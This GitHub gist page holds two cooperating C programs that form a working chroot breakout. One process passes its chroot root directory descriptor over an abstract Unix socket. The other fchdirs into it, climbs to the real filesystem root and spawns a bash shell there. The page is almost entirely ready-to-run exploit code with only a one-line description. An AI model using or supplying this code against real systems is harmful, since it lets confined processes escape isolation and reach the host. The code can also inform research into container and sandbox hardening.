Skip to content

Instantly share code, notes, and snippets.

@thejh
Created July 13, 2015 20:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thejh/94e02f15d5fa136c6816 to your computer and use it in GitHub Desktop.
Save thejh/94e02f15d5fa136c6816 to your computer and use it in GitHub Desktop.
chroot_breakout: uses two cooperating processes in different chroots
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#define ERR(s) puts(s), exit(1);
#define SYSERR(s) perror(s), exit(1);
int main(void) {
// prepare unix domain socket
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) SYSERR("unable to create unix domain socket")
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = "\0breakout"
};
if (bind(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
SYSERR("unable to bind abstract socket")
puts("waiting for connection from other chroot...");
// change working directory into other chroot
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
struct msghdr msg = {
.msg_control = hdr,
.msg_controllen = len
};
if (recvmsg(s, &msg, 0) < 0) SYSERR("unable to receive fd")
if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
|| hdr->cmsg_type != SCM_RIGHTS)
ERR("got bad message")
puts("got rootfd from other chroot...");
if (fchdir(*(int*)CMSG_DATA(hdr))) SYSERR("unable to change into received fd")
char curpath[4096];
if (!getcwd(curpath, sizeof(curpath))) SYSERR("unable to getpath()")
if (curpath[0] != '(')
ERR("it seems like the other process is chrooted into the same "
"directory as you or one below it?")
printf("chdir successful, am now in %s\n", curpath);
// chdir up to /
for (char *cp = curpath; *cp; cp++) if (*cp == '/') {
if (chdir("..")) SYSERR("chdir(..)");
}
// and that's it!
puts("spawning shell in the real /...");
system("/bin/bash");
puts("you're back in the chroot");
return 0;
}
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#define ERR(s) puts(s), exit(1);
#define SYSERR(s) perror(s), exit(1);
int main(void) {
int rootfd = open("/", O_PATH);
if (rootfd < 0) SYSERR("unable to open rootdir of chroot")
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) SYSERR("unable to create unix domain socket")
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = "\0breakout"
};
if (connect(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
SYSERR("unable to connect to abstract socket")
puts("connected to other chroot, sending rootfd...");
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
*hdr = (struct cmsghdr) {
.cmsg_len = len,
.cmsg_level = SOL_SOCKET,
.cmsg_type = SCM_RIGHTS
};
*(int*)CMSG_DATA(hdr) = rootfd;
struct msghdr msg = {
.msg_control = hdr,
.msg_controllen = len
};
if (sendmsg(s, &msg, 0) < 0) SYSERR("unable to send fd")
puts("all ok on this side! the other chrooted process should now be able to break out.");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment